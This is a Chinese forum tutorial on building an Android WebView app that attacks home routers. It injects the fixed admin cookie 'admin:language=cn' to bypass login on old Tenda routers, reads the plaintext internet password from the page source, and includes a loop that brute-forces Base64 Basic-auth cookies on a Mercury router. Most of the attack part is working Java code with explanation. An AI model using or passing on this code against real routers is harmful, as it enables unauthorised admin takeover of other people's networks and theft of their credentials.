比原来的代码加多了一点功能,目前本程序将用到联网权限和获取WiFi相关信息的权限,所以需要在 AndroidManifest.xml 中加入这两句
[XML] 纯文本查看 复制代码 <uses-permission android:name="android.permission.INTERNET"/>
<uses-permission android:name="android.permission.ACCESS_WIFI_STATE"/>
首先是布局,一个EditText用来输入地址,因为一般路由器的管理地址都是dhcp分配的网关地址,默认端口80,所以我们这里EditText初始化时直接获取网关地址,前面加个协议。后面是两个ImageView,分别写了相对应加载页面,设置菜单的点击事件。
下面是一个WebView,用来显示页面。
Android自带的webview非常垃圾,经常有各种不支持,这里只是临时用用,先设置webview相关属性:
[Java] 纯文本查看 复制代码 //webView属性设置
private void setWebView() {
webView.setWebViewClient(new WebViewClient() {
//当点击链接时,希望覆盖而不是打开新窗口
@Override
public boolean shouldOverrideUrlLoading(WebView view, String url) {
view.loadUrl(url); //加载新的url
return true; //返回true,代表事件已处理,事件流到此终止
}
});
WebSettings settings = webView.getSettings();
settings.setSupportZoom(true); //支持缩放
settings.setBuiltInZoomControls(true); //启用内置缩放装置
settings.setJavaScriptEnabled(true); //启用JS脚本
//点击后退按钮,让WebView后退一页(也可以覆写Activity的onKeyDown方法)
webView.setOnKeyListener(new View.OnKeyListener() {
@Override
public boolean onKey(View v, int keyCode, KeyEvent event) {
if (event.getAction() == KeyEvent.ACTION_DOWN) {
if (keyCode == KeyEvent.KEYCODE_BACK && webView.canGoBack()) {
webView.goBack(); //后退
return true; //已处理
}
}
return false;
}
});
}
写个简单的菜单来进行相关的功能管理
[XML] 纯文本查看 复制代码 <?xml version="1.0" encoding="utf-8"?>
<resources>
<array name="ItemArray">
<item>刷新页面</item>
<item>页面源码</item>
<item>启用cookie</item>
<item>禁用cookie</item>
<item>修改cookie</item>
<item>读取cookie</item>
<item>修改编码</item>
<item>退出</item>
</array>
</resources>
[Java] 纯文本查看 复制代码 //弹出菜单选项
private void showMenu() {
AlertDialog.Builder builder = new AlertDialog.Builder(MainActivity.this);
builder.setItems(getResources().getStringArray(R.array.ItemArray), new DialogInterface.OnClickListener() {
public void onClick(DialogInterface arg0, int arg1) {
switch (arg1) {
case 0://刷新页面
webView.reload();
break;
case 1://页面源码
nowURL = webView.getUrl();
//http请求必须用线程加载不然报错
Thread visitThread = new Thread(new VisitWebRunnable());
visitThread.start();
try {
visitThread.join();
if (!resultStr.equals("")) {
EditText srcText = new EditText(MainActivity.this); //用文本框来放源代码,以供复制相关信息
srcText.setText(resultStr + "");
new AlertDialog.Builder(MainActivity.this).setTitle("页面源码").setView(srcText).create().show();
}
} catch (InterruptedException e) {
e.printStackTrace();
}
break;
case 2://启用cookie
cookieSet = true;
removeAllCookie();
Toast.makeText(getApplicationContext(), "启用Cookies成功", Toast.LENGTH_SHORT).show();
break;
case 3://禁用cookie
cookieSet = false;
removeAllCookie();
Toast.makeText(getApplicationContext(), "禁用Cookies成功", Toast.LENGTH_SHORT).show();
break;
case 4://修改cookie
final EditText cookieEdit = new EditText(MainActivity.this);
cookieEdit.setText(cookie);
new AlertDialog.Builder(MainActivity.this)
.setTitle("请输入cookie值")//提示框标题
.setView(cookieEdit)
.setPositiveButton("确定",//提示框的两个按钮
new android.content.DialogInterface.OnClickListener() {
@Override
public void onClick(DialogInterface dialog,
int which) {
removeAllCookie();//要先清理原来的cookie,不然会有多个cookie
cookie = cookieEdit.getText().toString();
}
}).setNegativeButton("取消", null).create().show();
cookieEdit.selectAll();
break;
case 5://读取当前cookie
try {
EditText cookieText = new EditText(MainActivity.this); //用文本框来放源代码,以供复制相关信息
cookieText.setText(loadCookie(webView.getUrl()) + "");
new AlertDialog.Builder(MainActivity.this).setTitle("当前cookie").setView(cookieText).create().show();
} catch (Exception e) {
Toast.makeText(getApplicationContext(), "读取cookie失败", Toast.LENGTH_SHORT).show();
}
break;
case 6://修改编码
final EditText charsetEdit = new EditText(MainActivity.this);
charsetEdit.setText(charset);
new AlertDialog.Builder(MainActivity.this)
.setTitle("请输入编码类型")//提示框标题
.setView(charsetEdit)
.setPositiveButton("确定",//提示框的两个按钮
new android.content.DialogInterface.OnClickListener() {
@Override
public void onClick(DialogInterface dialog,
int which) {
charset = charsetEdit.getText().toString();
}
}).setNegativeButton("取消", null).create().show();
charsetEdit.selectAll();
break;
case 7://退出
removeAllCookie();
android.os.Process.killProcess(android.os.Process.myPid());
System.exit(0);
break;
default:
break;
}
arg0.dismiss();
}
});
builder.show();
}
程序启动时先获取WiFi信息并读取dhcp分配的网关地址,同时ip地址需要从long转换成我们常见的格式
[Java] 纯文本查看 复制代码 WifiManager wm = (WifiManager) getSystemService(WIFI_SERVICE);
long getewayIpL = wm.getDhcpInfo().gateway;
url.setText("http://" + long2ip(getewayIpL));//转为常用IP格式加载到地址栏
[Java] 纯文本查看 复制代码 //转换ip地址
String long2ip(long ip) {
StringBuffer sb = new StringBuffer();
sb.append(String.valueOf((int) (ip & 0xff)));
sb.append('.');
sb.append(String.valueOf((int) ((ip >> 8) & 0xff)));
sb.append('.');
sb.append(String.valueOf((int) ((ip >> 16) & 0xff)));
sb.append('.');
sb.append(String.valueOf((int) ((ip >> 24) & 0xff)));
return sb.toString();
}
接着是加载页面的代码,腾达的一些旧路由器存在一个漏洞,管理员cookie是固定死的 admin:language=cn ,所以我们可以利用这个漏洞,在加载管理页面时注入cookie,直接绕开登陆取得管理员权限
[Java] 纯文本查看 复制代码 String cookie = "admin:language=cn";
assert btn_go != null;
btn_go.setOnClickListener(new View.OnClickListener() {
@Override
public void onClick(View v) {
if (cookieSet) {
CookieManager cookieManager = CookieManager.getInstance();
cookieManager.setAcceptCookie(true);
cookieManager.setCookie(url.getText().toString(), cookie);
}
webView.loadUrl(url.getText().toString());
webView.requestFocus(); //获取焦点
}
});
我们看到上网口令部分是星号,其实路由器返回的数据中上网口令是明文的,然后又经过了js处理成了星号,所以我们可以通过查看返回的页面代码来得到明文口令
[Java] 纯文本查看 复制代码 nowURL = webView.getUrl();
//http请求必须用线程加载不然报错
Thread visitThread = new Thread(new VisitWebRunnable());
visitThread.start();
try {
visitThread.join();
if (!resultStr.equals("")) {
EditText srcText = new EditText(MainActivity.this); //用文本框来放源代码,以供复制相关信息
srcText.setText(resultStr + "");
new AlertDialog.Builder(MainActivity.this).setTitle("页面源码").setView(srcText).create().show();//用一个dialog来输出源码
}
} catch (InterruptedException e) {
e.printStackTrace();
}
[Java] 纯文本查看 复制代码 //http请求必须用线程加载不然报错
class VisitWebRunnable implements Runnable {
@Override
public void run() {
// TODO Auto-generated method stub
try {
httpRequestGet(nowURL);
} catch (Exception e) {
e.printStackTrace();
}
}
}
//http请求
private void httpRequestGet(String urlStr) throws Exception {
resultStr = "";
URL url = new URL(urlStr);
HttpURLConnection httpConn = (HttpURLConnection) url.openConnection();
if (cookieSet) {
httpConn.setRequestProperty("Cookie", cookie);//这里同样要加载cookie,不过有些路由器不存在此漏洞
//如果加载此cookie会造成即使输入正确密码也无法产生正确cookie登陆等问题,所以要加个开关看情况加载
}
httpConn.connect();
BufferedReader reader = new BufferedReader(new InputStreamReader(httpConn.getInputStream(), charset));//腾达的旧设备大部分默认编码是gb2312,有部分是utf-8,编码写死有时加载中文会导致乱码,所以这里用charset手动修改编码
String lines;
while ((lines = reader.readLine()) != null) {
resultStr += lines + "\n";
}
reader.close();
httpConn.disconnect();
}
另外因为cookie是根据url地址加载的,而我们的WiFi网关经常都是192.168.0.1之类的,如果我们在某台路由器上登陆了,在另外一台登陆时由于网关地址相同,会加载上一台保存的cookie,导致提交多个cookie,造成无法登陆等问题,所以需要一个清理cookie的功能
[Java] 纯文本查看 复制代码 //清除cookie
private void removeAllCookie() {
CookieSyncManager cookieSyncManager = CookieSyncManager.createInstance(webView.getContext());
CookieManager cookieManager = CookieManager.getInstance();
cookieManager.setAcceptCookie(true);
cookieManager.removeSessionCookie();
cookieManager.removeAllCookie();
cookieSyncManager.sync();
}
----------------------------------------------------分割线----------------------------------------------------
期间还研究了一下,想通过cookie穷举爆破有次数锁的路由,结果发现对cookie一样有限制次数,所以想通过cookie爆破也不可行,还是把过程也写出来吧
找了台有次数锁的同时知道管理密码的水星路由来进行测试(密码123456)
首先先正常登陆,并抓包拿到cookie,抓包的时候可以通过规则过滤出我们要的数据包,http表示只显示http协议的,ip.dst==192.168.0.1表示只显示目标地址是192.168.0.1(网关)的。
通过抓包我们拿到了 Cookie: Authorization=Basic%20YWRtaW46MTIzNDU2 ,目前大部分家用路由的cookie都只是重要信息部分经过了一层base64编码,少部分用md5,这里这个cookie明显就是只经过base64的。%20是空格,我们把里面的YWRtaW46MTIzNDU2这部分拿去base64解码,解出来是admin:123456,那么确定没错了,我们可以大概知道这种型号的路由器cookie生成方式了。
简单测试一下:写个循环,先随便拿个返回值作比较,结果发现提交错误cookie满10次照样锁,所以可以放弃这种方法了
[Java] 纯文本查看 复制代码 String re0 = "", re1 = "", re2 = "";
for (int i = 123430; i < 123458; i++) {//密码是123456,路由限制是10次错误就锁,这里只测试一下可行性所以先随便跑10次以上
String enbase64 = getBase64("admin:" + i);//需要base64编码部分
String cookie = "Cookie: Authorization=Basic%20" + enbase64;//拼接成cookie
re2=sendGet("http://192.168.1.1", cookie);//提交,获取返回值
//因为已经知道密码是123456,随便找个错误的进行匹配比较。如果是不知道的情况下可以通过用新返回值匹配上一个返回值来找密码
if (i == 123455) {
re0 = re2;
}
if (i == 123456) {
re1 = re2;
}
if (re1.equals(re0)) {
System.out.println("same");
} else {
System.out.println("not same");
}
另外在测试一台TP的时候发现提交错误累计满10次时路由器的web服务挂了(通过正常提交错误密码的话满10次是会返回个提示等待两小时的页面的),过了两小时也没恢复,路由功能倒是还在正常运行,不知道这个是偶然事件还是TP的bug,等有空再深入测试
|